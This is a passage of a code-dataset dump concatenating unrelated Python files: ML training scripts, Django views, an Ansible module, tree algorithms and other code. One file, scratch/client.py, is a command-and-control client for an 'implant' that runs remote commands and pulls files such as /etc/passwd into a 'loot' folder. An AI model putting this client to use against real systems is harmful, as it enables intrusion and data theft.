train_folder)\nFLIR_metadata = MetadataCatalog.get(dataset)\ndataset_dicts = DatasetCatalog.get(dataset)\n\"\"\"\nmodel = 'faster_rcnn_R_101_FPN_3x'\n\n# Create config\ncfg = get_cfg()\ncfg.DATALOADER.NUM_WORKERS = 6\ncfg.OUTPUT_DIR = out_folder\ncfg.merge_from_file(\"./configs/COCO-Detection/faster_rcnn_R_101_FPN_3x.yaml\")\ncfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5 # set threshold for this model\n#cfg.MODEL.WEIGHTS = \"detectron2://COCO-Detection/faster_rcnn_R_101_FPN_3x/137851257/model_final_f6e8b1.pkl\"\ncfg.MODEL.WEIGHTS = \"good_model/3_class/thermal_only/out_model_iter_15000.pth\"\n\ncfg.MODEL.ROI_HEADS.NUM_CLASSES = 3\ncfg.DATASETS.TEST = (dataset, )\n\n### 3 Channel input ###\ncfg.INPUT.FORMAT = 'BGR'\ncfg.INPUT.NUM_IN_CHANNELS = 3\ncfg.MODEL.PIXEL_MEAN = [103.530, 116.280, 123.675]\ncfg.MODEL.PIXEL_STD = [1.0, 1.0, 1.0]\n#cfg.MODEL.ROI_HEADS.NUM_CLASSES = 17\n#######################\n\n# Test on validation set\ndataset_test = 'FLIR_val'\nregister_coco_instances(dataset_test, {}, val_json_path, val_folder)\nFLIR_metadata_test = MetadataCatalog.get(dataset_test)\ndataset_dicts_test = DatasetCatalog.get(dataset_test)\nfile_name = 'FLIR_thermal_only_3_class.out'\ntest(cfg, dataset_test, file_name)\n","sub_path":"demo/demo_mAP_thermal_only.py","file_name":"demo_mAP_thermal_only.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"618825303","text":"from .base import BaseAnsibleTowerModule\n\n\nclass InventoryHostModule(BaseAnsibleTowerModule):\n module_args = {\n 'api_url': {'type': 'str', 'required': False},\n 'api_user': {'type': 'str', 'required': False},\n 'api_password': {'type': 'str', 'required': False, 'no_log': True},\n 'validate_certs': {'type': 'bool', 'required': False, 'default': False},\n 'state': {'type': 'str', 'required': False, 'default': 'present'},\n 'inventory_id': {'type': 'int', 'required': False},\n 'group_id': {'type': 'int', 'required': False},\n 'host': {'type': 'str', 'required': True}, # name in API\n 'description': {'type': 'str', 'required': False, 'default': ''},\n 'variables': {'type': 'str', 'required': False, 'default': ''},\n 'enabled': {'type': 'bool', 'required': False, 'default': False},\n }\n\n @property\n def inventory_id(self):\n return self.params['inventory_id']\n\n @property\n def group_id(self):\n return self.params['group_id']\n\n def getsubjectresource(self):\n if self.inventory_id:\n return self.client.list('hosts',\n params={'name': self.params['host']})\n if self.group_id:\n return self.client.list('groups', self.group_id, 'hosts',\n params={'name': self.params['host']})\n\n raise NotImplementedError\n\n def dtofromparams(self):\n dto = {\n 'name': self.params['host'],\n 'description': self.params['description'],\n 'variables': str.strip(self.params.get('variables') or ''),\n 'enabled': self.params['enabled']\n }\n if self.params.get('inventory_id'):\n dto['inventory'] = self.params['inventory_id']\n return dto\n\n def getcreateurlparts(self):\n inventory_id = self.params.get('inventory_id')\n group_id = self.params.get('group_id')\n if not inventory_id and not group_id\\\n or inventory_id and group_id:\n self.fail(\"Specify either inventory_id or group_id\")\n args = ['POST']\n if inventory_id:\n args.append('hosts')\n elif group_id:\n args.append('groups')\n args.append(group_id)\n args.append('hosts')\n return args\n\n def getupdateurlparts(self):\n return ['PUT', 'hosts', self.resource['id']]\n\n def getdeleteurlparts(self):\n args = ['DELETE']\n args.append('hosts')\n args.append(self.resource['id'])\n return args\n","sub_path":"images/jobs/queen/awx/lib/queen/ext/awx/ansible/inventoryhost.py","file_name":"inventoryhost.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"94919919","text":"from ddt import ddt,data,unpack\nfrom selenium import webdriver\nfrom framework.browser_engine import BrowserEngine\n# import HTMLTestRunner\nimport unittest\n# import os\n@ddt\nclass BaseTestCase(unittest.TestCase):\n def setUp(self):\n #setup的代码主要是测试的前提准备工作\n browser = BrowserEngine()\n self.driver = browser.open_browser()\n # self.driver = webdriver.Chrome(\"../tools/chromedriver.exe\")\n self.driver.maximize_window()\n self.driver.implicitly_wait(10)\n\n\n def tearDown(self):\n #测试结束后的操作,基本都是关闭浏览器\n print(\"测试结束....\")\n self.driver.quit()\n\n\n\n","sub_path":"testsuites/base_testcase.py","file_name":"base_testcase.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"151678084","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom webapp.models import Post\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\n\n\ndef index_view(request):\n posts = Post.objects.all()\n paginator = Paginator(posts, 2)\n\n page_number = request.GET.get('page', 1)\n posts = paginator.get_page(page_number) # только записи со страницы с номером page_number\n\n return render(request, 'index.html', context={\n 'posts': posts\n })\n\n\ndef create_view(request):\n if request.method == 'GET':\n return render(request, 'create.html')\n elif request.method == 'POST':\n Post.objects.create(\n name=request.POST.get('name'),\n email=request.POST.get('email'),\n text=request.POST.get('text')\n )\n return redirect('index')\n\n\ndef edit_view(request, post_pk):\n post = get_object_or_404(Post, pk=post_pk)\n if request.method == 'GET':\n return render(request, 'update.html', context={\n 'post': post\n })\n elif request.method == 'POST':\n post.name = request.POST.get('name')\n post.email = request.POST.get('email')\n post.text = request.POST.get('text')\n post.save()\n return redirect('index')\n\n\ndef delete_view(request, post_pk):\n post = get_object_or_404(Post, pk=post_pk)\n confirm = request.GET.get('confirm')\n if confirm:\n if confirm == 'yes':\n post.delete()\n return redirect('index')\n return render(request, 'delete.html', context={\n 'post': post\n })\n","sub_path":"source/webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"207211987","text":"import acm\nimport FUxCore\nimport IndexSearchMultiPart\nimport IndexSearchCreator\n\nfrom IndexSearchUtils import unicode_encode\nfrom IndexSearchUtils import unicode_decode\n\ns_colCount = 2\n\ndef V(info, key) :\n value = info.get(key, '')\n\n return unicode_encode(value)\n\nclass IndexSearchMultiDialog (FUxCore.LayoutDialog):\n def __init__(self, configurations, query = '', pageCount = 10):\n self.m_configurations = configurations\n self.m_indexSearchMultiParts = []\n self.m_openBtn = None\n self.m_searchInput = None\n self.m_query = query\n\n for index, configuration in enumerate(configurations) :\n indexSearchMultiPart = IndexSearchMultiPart.IndexSearcMultiPart(configuration, 'ctrl' + str(index), pageCount)\n self.m_indexSearchMultiParts.append(indexSearchMultiPart) \n\n def HandleApply( self ):\n self.Open()\n return None\n\n def Caption(self) :\n return 'Index Search'\n\n def HandleDestroy(self):\n for indexSearchMultiPart in self.m_indexSearchMultiParts :\n indexSearchMultiPart.HandleDestroy()\n\n def HandleCreate( self, dlg, layout):\n self.m_fuxDlg = dlg\n self.m_fuxDlg.Caption(self.Caption())\n\n self.m_openBtn = layout.GetControl('ok')\n self.m_searchInput = layout.GetControl('searchInput')\n self.m_searchInput.AddCallback( 'Changed', self.OnSearchChanged, self )\n self.m_searchInput.SetData(self.m_query)\n \n for indexSearchMultiPart in self.m_indexSearchMultiParts :\n indexSearchMultiPart.HandleCreate(layout)\n\n if self.m_query :\n indexSearchMultiPart.DoSearch(self.m_query, 1)\n\n def OnSearchChanged(self, ud, cd) :\n query = unicode_decode(self.m_searchInput.GetData())\n\n for indexSearchMultiPart in self.m_indexSearchMultiParts :\n indexSearchMultiPart.DoSearch(query, 1)\n\n def BeginHorzBoxIfNeeded(self, builder, index):\n if index % s_colCount == 0 :\n builder.BeginHorzBox()\n\n def EndBoxIfNeeded(self, builder, index) :\n index += 1\n if index % s_colCount == 0 :\n builder.EndBox()\n\n def CreateLayout(self) :\n builder = acm.FUxLayoutBuilder()\n\n builder.BeginVertBox()\n builder. BeginHorzBox()\n builder. AddInput('searchInput', '')\n builder. EndBox()\n\n for index, indexSearchMultiPart in enumerate(self.m_indexSearchMultiParts) :\n self.BeginHorzBoxIfNeeded(builder, index)\n indexSearchMultiPart.BuildLayoutPart(builder)\n self.EndBoxIfNeeded(builder, index)\n\n if len(self.m_indexSearchMultiParts) % s_colCount != 0: #need to close the final BeginHorzBox\n builder.EndBox()\n\n builder. BeginHorzBox()\n builder. AddFill()\n builder. AddButton('ok', 'Open')\n builder. AddButton('cancel', 'Close')\n builder. EndBox()\n builder.EndBox()\n\n return builder\n\nclass SelectIndexMultiSearchDialog (FUxCore.LayoutDialog):\n def __init__(self):\n self.m_okButton = None\n self.m_configurations = IndexSearchCreator.get_configurations()\n self.m_selectedConfiguration = None\n\n def HandleCreate( self, dlg, layout):\n self.m_fuxDlg = dlg\n self.m_fuxDlg.Caption('Select Index Search')\n\n self.m_okButton = layout.GetControl('ok')\n self.m_selectIndexControl = layout.GetControl('selectIndexControl')\n self.m_selectIndexControl.ShowCheckboxes(True)\n self.m_selectIndexControl.ShowColumnHeaders(True)\n\n self.m_selectIndexControl.AddColumn('Index Name', -1)\n configurationNames = []\n\n root = self.m_selectIndexControl.GetRootItem()\n\n for configuration in self.m_configurations :\n child = root.AddChild()\n child.Label(unicode_encode(configuration.Identifier()))\n child.SetData(configuration)\n child.Icon('FreezePane')\n\n\n def HandleApply( self ):\n selectedItems = self.m_selectIndexControl.GetCheckedItems()\n configurations = []\n\n for item in selectedItems :\n configurations.append(item.GetData())\n\n return configurations\n\n\n def CreateLayout(self):\n b = acm.FUxLayoutBuilder()\n b.BeginVertBox()\n b. AddList('selectIndexControl', 10)\n b. BeginHorzBox()\n b. AddFill()\n b. AddButton('ok', 'Open')\n b. AddButton('cancel', 'Close')\n b. EndBox()\n b.EndBox()\n\n return b\n\ndef ShowIndexSearcMultiDialog(basicApp, indexName, query, pageCount = 20) :\n selectedConfiguration = None\n configurations = IndexSearchCreator.get_configurations()\n for configuration in configurations :\n if indexName == str(configuration.Identifier()) :\n selectedConfiguration = configuration\n break\n \n if selectedConfiguration :\n indexSearchDialog = IndexSearchMultiDialog([selectedConfiguration], query, pageCount)\n builder = indexSearchDialog.CreateLayout()\n acm.UX().Dialogs().ShowCustomDialog(basicApp.Shell(), builder, indexSearchDialog) \n\ndef ReallyStartDialog(basicApp):\n selectIndexSearchDialog = SelectIndexMultiSearchDialog()\n builder = selectIndexSearchDialog.CreateLayout()\n configurations = acm.UX().Dialogs().ShowCustomDialogModal(basicApp.Shell(), builder, selectIndexSearchDialog)\n\n if configurations :\n indexSearchDialog = IndexSearchMultiDialog(configurations)\n builder = indexSearchDialog.CreateLayout()\n acm.UX().Dialogs().ShowCustomDialog(basicApp.Shell(), builder, indexSearchDialog)\n\ndef ShowDialog(eii) :\n basicApp = eii.ExtensionObject()\n ReallyStartDialog(basicApp)\n","sub_path":"Extensions/IndexSearch/FPythonCode/IndexSearchMultiDialog.py","file_name":"IndexSearchMultiDialog.py","file_ext":"py","file_size_in_byte":5768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"297580329","text":"from sqlalchemy_api_handler.serialization import as_dict\nfrom sqlalchemy_api_handler.utils import humanize, logger\nfrom sqlalchemy.exc import IntegrityError, InvalidRequestError\nfrom psycopg2.errors import NotNullViolation\nfrom sqlalchemy_api_handler import ApiHandler\n\nfrom domain.science_feedback.wordpress.claim_review import claim_review_from_url\nfrom models.tag import Tag, TagType\nfrom models.verdict import Verdict\nfrom models.verdict_tag import VerdictTag\nfrom utils.asynchronous import map_asynchronous\n\n\ndef claim_verdicts_from_airtable(verdicts_to_sync=None, max_verdicts=None, sync_async=False):\n if verdicts_to_sync is None:\n query = Verdict.query.filter(Verdict.scienceFeedbackUrl != None)\n if max_verdicts is not None:\n query = query.limit(max_verdicts)\n\n verdicts = query.all()\n else:\n verdicts = verdicts_to_sync\n\n if max_verdicts is not None:\n max_verdicts = len(verdicts)\n\n urls = [verdict.scienceFeedbackUrl for verdict in verdicts][:max_verdicts]\n if sync_async:\n claim_reviews = map_asynchronous(claim_review_from_url, urls)\n else:\n claim_reviews = [claim_review_from_url(url) for url in urls]\n\n for (index, verdict) in enumerate(verdicts):\n claim_review = claim_reviews[index]\n if not claim_review:\n continue\n\n for conclusion in claim_review['conclusions']:\n try:\n tag = Tag.create_or_modify({\n '__SEARCH_BY__': ['label', 'type'],\n 'label': conclusion,\n 'type': TagType.CONCLUSION\n })\n if tag.id is None:\n logger.info('Saving tag {}'.format(as_dict(tag)))\n ApiHandler.save(tag)\n\n verdict_tag = VerdictTag.create_or_modify({\n '__SEARCH_BY__': ['tagId', 'verdictId'],\n 'tagId': humanize(tag.id),\n 'verdictId': humanize(verdict.id)\n })\n verdict.verdictTags = verdict.verdictTags + [verdict_tag]\n\n except IntegrityError as e:\n logger.error('IntegrityError: {}, Conclusion: {}'.format(e, conclusion))\n except InvalidRequestError as e:\n logger.error('InvalidRequestError: {}, Conclusion: {}'.format(e, conclusion))\n except NotNullViolation as violation:\n logger.error('NotNullViolation: {}, Conclusion: {}'.format(violation, conclusion))\n\n return verdicts\n","sub_path":"api/repository/science_feedback/wordpress/claim_verdicts.py","file_name":"claim_verdicts.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"28227645","text":"from queue_class import Queue\nfrom stack_class import Stack\n\n# ------------------------------------------\n# Node Class\nclass Node(object):\n def __init__(self, value):\n self.value = value \n self.left = None \n self.right = None\n\n# -------------------------------------------\n# Binary Tree Class \nclass BinaryTree(object):\n def __init__(self, root):\n self.root = Node(root)\n\n # Print Helper Method\n def print_tree(self, traversal_type):\n if traversal_type == 'preorder':\n return self.pre_order_print(myTree.root, \"\")\n elif traversal_type == 'inorder':\n return self.in_order_print(myTree.root, \"\")\n elif traversal_type == 'postorder':\n return self.post_order_print(myTree.root, \"\")\n elif traversal_type == 'levelorder':\n return self.level_order_print(myTree.root)\n elif traversal_type == 'reverse_levelorder':\n return self.reverse_level_order_print(myTree.root)\n else:\n print('Traversal type: ' + str(traversal_type) + \n ' is not supported')\n return False\n\n # ----------------------------------------------\n # Depth First Traversal --> in-order, pre-order, post-order \n # Preorder Traversal \n def pre_order_print(self, start, traversal):\n \"\"\"Root --> Left --> Right\"\"\"\n if start: \n traversal += (str(start.value)+'-')\n traversal = self.pre_order_print(start.left, traversal)\n traversal = self.pre_order_print(start.right, traversal)\n return traversal\n\n # In Order Traversal \n def in_order_print(self, start, traversal):\n \"\"\"Left ---> Root ---> Right\"\"\"\n if start:\n traversal = self.in_order_print(start.left, traversal)\n traversal += (str(start.value)+'-')\n traversal = self.in_order_print(start.right, traversal)\n return traversal \n\n # Post Order Traversal \n def post_order_print(self,start,traversal):\n \"\"\"Left --> Right --> Root\"\"\"\n if start:\n traversal = self.post_order_print(start.left, traversal)\n traversal = self.post_order_print(start.right, traversal)\n traversal += (str(start.value)+'-')\n return traversal\n# ------------------------------------------------------\n # Level Order Traversal \n def level_order_print(self, start):\n if start is None:\n return \n queue = Queue()\n queue.enqueue(start)\n\n traversal = \"\"\n while queue.len() > 0:\n traversal += str(queue.peek()) + \"-\"\n node = queue.dequeue()\n\n if node.left:\n queue.enqueue(node.left)\n if node.right:\n queue.enqueue(node.right)\n\n return traversal\n\n# -----------------------------------------\n # Reverse Level Order Traversal\n\n def reverse_level_order_print(self, start):\n if start is None:\n return \n\n queue = Queue()\n stack = Stack()\n queue.enqueue(start)\n\n\n traversal = \"\"\n while queue.len() > 0:\n node = queue.dequeue()\n\n stack.push(node)\n\n if node.right:\n queue.enqueue(node.right)\n if node.left:\n queue.enqueue(node.left)\n \n while stack.len() > 0:\n node = stack.pop()\n traversal += str(node.value) + \"-\"\n\n return traversal\n\n# --------------------------------------------\n# Height of Tree \n def height(self,node):\n if node is None:\n return -1 \n left_height = self.height(node.left)\n right_height = self.height(node.right)\n\n return 1 + max(left_height, right_height)\n\n\n# --------------------------------------------\n # Size of Tree \n # Iterative Approach \n # TODO: AttributeError: NoneType object has no attribute 'left\n def size_iterative(self):\n if self.root is None:\n return 0\n\n stack = Stack()\n stack.push(self.root)\n size = 1\n while stack:\n node = stack.pop()\n if node.left:\n size += 1\n stack.push(node.left)\n if node.right:\n size += 1\n stack.push(node.right)\n return size\n\n # Recursive Approach\n def size_recursive(self,node):\n if node is None:\n return 0 \n return 1 + self.size_recursive(node.left) + self.size_recursive(node.right)\n\n\n# -------------------------------\n# Set up tree\nmyTree = BinaryTree(1)\nmyTree.root.left = Node(2)\nmyTree.root.right = Node(3)\nmyTree.root.left.left = Node(4)\nmyTree.root.left.right = Node(5)\nmyTree.root.right.left = Node(6)\nmyTree.root.right.right = Node(7)\n\n# Pre-order (Root -> Left -> Right)\nprint('Pre-order Traversal: ')\nprint(myTree.print_tree('preorder')) # 1-2-4-5-3-6-7\n# In-order (Left -> Root -> Right)\nprint('In-Order Traversal: ')\nprint(myTree.print_tree('inorder')) # 4-2-5-1-6-3-7\n# Post-order (Left -> Right -> Root)\nprint('Post-order Traversal: ')\nprint(myTree.print_tree('postorder')) # 4-5-2-6-7-3-1\n# Level- order \nprint('Level-order Traversal: ')\nprint(myTree.print_tree('levelorder')) # 1-2-3-4-5-6-7\n# Reverse Level-order \nprint('Reverse Level Order: ')\nprint(myTree.print_tree('reverse_levelorder')) # 4-5-6-7-2-3-1-\n# Tree Height \nprint('Tree Height: ')\nprint(myTree.height(myTree.root))\n# Size Recursive\nprint(myTree.size_recursive(myTree.root)) # 7\n# Size Iterative \nprint(myTree.size_iterative()) # 7\n\n","sub_path":"Educative.io/BinaryTrees/binary_tree_class.py","file_name":"binary_tree_class.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"124516330","text":"from django.shortcuts import render\n\nfrom .models import Posts\n\n\n# Create your views here.\n\n\ndef index(request):\n # return HttpResponse('Hello From Posts.')\n\n posts = Posts.objects.all()[:10]\n\n context = {\n 'title': 'Please Login',\n 'posts': posts,\n }\n\n return render(request=request, template_name='posts/index.html', context=context)\n\n\ndef details(request, id):\n post = Posts.objects.get(id=id)\n\n context = {\n 'post': post,\n }\n\n return render(request=request, template_name='posts/details.html', context=context)\n","sub_path":"seprjmvp/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"217623672","text":"#!/usr/bin/env python3\nimport os\nimport socket\nimport base64\nimport argparse\nimport sys\n\n\n\"\"\" xor for later\ndef xor(toxor: str, xorKey: str) -> bytes:\n key = bytes(xorkey.encode(\"utf-8\"))\n charList = bytes(tochange.encode(\"utf-8\"))\n extended_key = key * (len(charList))\n xord = []\n for x in range(len(charList)):\n xord.append(charList[x]^extended_key[x])\n\n return bytes(xord)\n\"\"\"\n\n\ndef b64_file(file_up: str) -> bytes:\n with open(file_up, \"rb\") as f:\n myFile = f.read()\n myFileB64 = base64.b64encode(myFile)\n return myFileB64\n\n\ndef download(b64_down: str, file_output: str) -> None:\n decode = base64.b64decode(b64_down)\n l00t_folder = \"./loot/\"\n if os.path.exists(l00t_folder):\n with open(l00t_folder + file_output, \"wb\") as w:\n w.write(decode)\n else:\n os.mkdir(l00t_folder)\n with open(l00t_folder + file_output, \"wb\") as w:\n w.write(decode)\n return\n\n\ndef connection(dest: str, dest_port: int, command: str) -> bytes:\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((dest, dest_port))\n s.send(command.encode(\"utf-8\"))\n data = b\"\"\n part = b\"\"\n while True:\n part = s.recv(2048)\n data += part\n if len(part) < 2048:\n break\n return data\n\n\ndef main():\n # parser arguments\n parser = argparse.ArgumentParser(description=\"Communicates to Implant\")\n parser.add_argument(\n \"IP\", metavar=\"\", help=\"Example: ./client.py \"\n )\n parser.add_argument(\n \"PORT\", metavar=\"\", help=\"Example: ./client.py 127.0.0.1 9999\"\n )\n parser.add_argument(\n \"--download\",\n metavar=\"\",\n help=\"Example: ./client.py 127.0.0.1 9999 --download /path/to/remote/file\",\n )\n parser.add_argument(\n \"--output_file\",\n metavar=\"\",\n help=\"Example: ./client.py 127.0.0.1 9999 --download /etc/passwd --output_file filename.txt\",\n )\n parser.add_argument(\n \"--upload\",\n metavar=\"\",\n help=\"Example: ./client.py 127.0.0.1 9999 --upload /path/to/upload/file\",\n )\n parser.add_argument(\n \"--destination_file\",\n metavar=\"\",\n help=\"Example: ./client.py 127.0.0.1 9999 --upload /etc/passwd --destination_file /path/on/remote/server\",\n )\n parser.add_argument(\n \"--execute\",\n metavar=\"\",\n help=\"Example: ./client.py 127.0.0.1 9999 --execute /bin/ls\",\n )\n\n # variables\n args = parser.parse_args()\n IP = args.IP\n Port = int(args.PORT)\n exec_cmd = args.execute\n # commands#\n\n # execute\n if args.execute:\n send_cmd = \"execute::\" + exec_cmd\n recv_command = connection(IP, Port, send_cmd)\n print(recv_command.decode(\"utf-8\"))\n\n # upload\n elif args.upload:\n file_upload = args.upload\n dest_file_up = args.destination_file\n enc_b64_up = b64_file(file_upload)\n send_cmd = \"upload::\" + enc_b64_up.decode(\"utf-8\") + \"::\" + dest_file_up\n recv_back = connection(IP, Port, send_cmd)\n print(recv_back)\n\n # download\n elif args.download:\n file_download = args.download\n send_cmd = \"download::\" + file_download\n recv_back = connection(IP, Port, send_cmd)\n message = (\n \"Stole: \"\n + \"\\n\"\n + \"-\" * 20\n + \"\\n\"\n + \"\\n\"\n + recv_back.decode(\"utf-8\")\n + \"\\n\"\n + \"-\" * 20\n + \"\\n\"\n )\n print(message)\n download(recv_back, args.output_file)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scratch/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"222958396","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 9 16:35:49 2017\r\n\r\n@author: wendy.chen\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\n\r\n# load data sets\r\nmnist = input_data.read_data_sets(\"MNIST_data\",one_hot=True)\r\n\r\n# batch size\r\nbatch_size = 100\r\n# calculate amounts of batches\r\nn_batch = mnist.train.num_examples // batch_size\r\n\r\n# initialize weights\r\ndef weight_variable(shape):\r\n initial = tf.truncated_normal(shape,stddev=0.1) # create a truncated normal distribution\r\n return tf.Variable(initial)\r\n\r\n# initialize biases\r\ndef bias_variable(shape):\r\n initial = tf.constant(0.1,shape=shape)\r\n return tf.Variable(initial)\r\n\r\n# define convolutional layer\r\ndef conv2d(x,W):\r\n # strides[0]=strides[3]=1, strides[1]=strides on x direction, strides[2]=strides on y direction\r\n return tf.nn.conv2d(x,W,strides=[1,1,1,1],padding='SAME')\r\n\r\n# define max pooling layer\r\ndef max_pool_2x2(x):\r\n #ksize[1,x,y,1]\r\n return tf.nn.max_pool(x,ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME')\r\n\r\nwith tf.name_scope('input'):\r\n #define placeholder\r\n x = tf.placeholder(tf.float32,[None,784],name='x-input') # 28x28=784\r\n y = tf.placeholder(tf.float32,[None,10],name='y-input')\r\n keep_prob = tf.placeholder(tf.float32,name='dropout-rate') \r\n \r\n# transform 1d x to 4d vector\r\n# shape=[batch,input_length,input_width,input_channels]\r\nx_image = tf.reshape(x,shape=[-1,28,28,1])\r\n\r\n# initialize first convolutional layer's weights and biases\r\nW_conv1 = weight_variable([5,5,1,32])\r\nb_conv1 = bias_variable([32])\r\n\r\nwith tf.name_scope('conv1'):\r\n h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)\r\nwith tf.name_scope('pool1'):\r\n h_pool1 = max_pool_2x2(h_conv1) # 14x14\r\n\r\n# initialize second convolutional layer's weights and biases\r\nW_conv2 = weight_variable([5,5,32,64])\r\nb_conv2 = bias_variable([64])\r\n\r\nwith tf.name_scope('conv2'):\r\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\r\nwith tf.name_scope('pool2'):\r\n h_pool2 = max_pool_2x2(h_conv2) # 7x7\r\n\r\n\r\n# initialize first full-connection layer weights\r\nW_fc1 = weight_variable([7*7*64,1024]) # set neurons amount as 1024 \r\nb_fc1 = bias_variable([1024])\r\n\r\n# flatten h_pool2 to 1d\r\nh_pool2_flat = tf.reshape(h_pool2, [-1,7*7*64])\r\n\r\n# first full-connection layer's output\r\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat,W_fc1) + b_fc1)\r\n\r\n#\r\nkeep_prob = tf.placeholder(tf.float32)\r\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\r\n\r\n\r\n# initialize second full-connection layer weights\r\nW_fc2 = weight_variable([1024,10])\r\nb_fc2 = bias_variable([10])\r\n\r\nwith tf.name_scope('prediction'):\r\n prediction = tf.nn.softmax(tf.matmul(h_fc1_drop,W_fc2) + b_fc2)\r\n\r\nwith tf.name_scope('Loss'):\r\n # softmax_cross_entropy_with_logits\r\n cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y,logits=prediction,dim=-1,name=None))\r\n \r\n \r\nwith tf.name_scope('Train'):\r\n # use AdamOptimizer()\r\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\r\n\r\n\r\n# put result in a boolean list\r\n# argmax returns the index/position of max value of a 1d vector\r\ncorrect_prediction = tf.equal(tf.argmax(y,1),tf.argmax(prediction,1)) \r\n# calculate accuracy \r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\r\n\r\n\r\nwith tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer())\r\n # create graph in tensorboard which is located in c:\\\\tensorflow\\\\logs\r\n # and then in CMD, tensorboard --logdir=c:\\tensorflow\\logs\r\n writer = tf.summary.FileWriter('c:\\\\tensorflow\\\\logs',sess.graph) \r\n for epoch in range(21):\r\n for batch in range(n_batch):\r\n batch_xs,batch_ys = mnist.train.next_batch(batch_size)\r\n sess.run(train_step,feed_dict={x:batch_xs,y:batch_ys,keep_prob:0.7})\r\n \r\n test_acc = sess.run(accuracy,feed_dict={x:mnist.test.images,y:mnist.test.labels,keep_prob:1.0})\r\n print(\"Iter \" + str(epoch) + \",Test Accuracy \" + str(test_acc))","sub_path":"MNIST_CNN.py","file_name":"MNIST_CNN.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"265203589","text":"import visdom\nimport time\nimport numpy as np\n\nclass Visualizer():\n def __init__(self, env='default', port=8097):\n super(Visualizer, self).__init__()\n self.vis = visdom.Visdom(env=env, use_incoming_socket=False, port=port)\n self.index = {}\n self.log_text=''\n\n def plot(self, name, y):\n x = self.index.get(name, 0)\n self.vis.line(Y=np.array([y]),\n X=np.array([x]),\n win=name,\n opts=dict(title=name),\n update=None if x == 0 else 'append')\n self.index[name] = x + 1\n\n def img(self, name, img_):\n self.vis.image(img_.cpu().numpy(),\n win=name,\n opts=dict(title=name))\n\n def log(self, info, win='log_text'):\n self.log_text += '[{time}-{info}
]'.format(time=time.strftime('%Y%m%d_%H:%M:%S'), info=info)\n self.vis.text(self.log_text, win)\n\n def __getattr__(self, item):\n return getattr(self.vis, item)\n","sub_path":"mytools/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"354434523","text":"import logging\nimport cStringIO\n\nfrom django.views.decorators.csrf import csrf_exempt\n\n\nfrom referrals.models import FriendReferral, COWSurvey, Referral, AgentReferrer\nfrom lib.utils import return_digits, return_int, makeHorizBarGraph\n\nfrom django.http import HttpResponse\n\nfrom .service import api_wrapper, InvalidParameterError, DuplicateEntry\n\n\ndef make_bar_graph(request, label, x1, x2, y1, y2):\n img = makeHorizBarGraph(label,\n [x1, x2],\n [y1, y2])\n\n iconstrobj = cStringIO.StringIO()\n iconstrobj.write(img)\n iconstr = iconstrobj.getvalue()\n return HttpResponse(iconstr, mimetype=\"image/png\")\n\n\n@api_wrapper\ndef add_friend_referral(request):\n \"\"\"\n Add a new FriendReferral object.\n\n The user that generates this API will be the referrer. The rest of the\n data for the API should come from the form.\n\n @param message (String) - Message to be sent to the referral\n @param first_name (String) - First name of the referral\n @param last_name (String) - Last name of the referral\n @param email (String) - Email name of the referral\n @param referrer_id (Integer) - ID of the Referrer\n\n @return (FriendReferral) - Newly created object\n \"\"\"\n message = request.POST.get('message', None)\n first_name = request.POST.get('first_name', None)\n last_name = request.POST.get('last_name', None)\n email = request.POST.get('email', None)\n referrer_id = request.POST.get('referrer_id', None)\n\n if message is None:\n raise InvalidParameterError('POST parameter `message` required')\n if first_name is None:\n raise InvalidParameterError('POST parameter `first_name` required')\n if last_name is None:\n raise InvalidParameterError('POST parameter `last_name` required')\n if email is None:\n raise InvalidParameterError('POST parameter `email` required')\n if referrer_id is None:\n raise InvalidParameterError('POST parameter `referrer_id` required')\n\n # Check if the referral already exists.\n if not FriendReferral.valid_referral(request.user.id, email):\n raise InvalidParameterError('You have already sent a referral.')\n\n referral = FriendReferral.create(referrer_id=referrer_id,\n message=message,\n referral_first_name=first_name,\n referral_last_name=last_name,\n referral_email=email)\n referral.send_emails()\n return referral.get_model()\n\n\n@api_wrapper\ndef get_referrals(request):\n 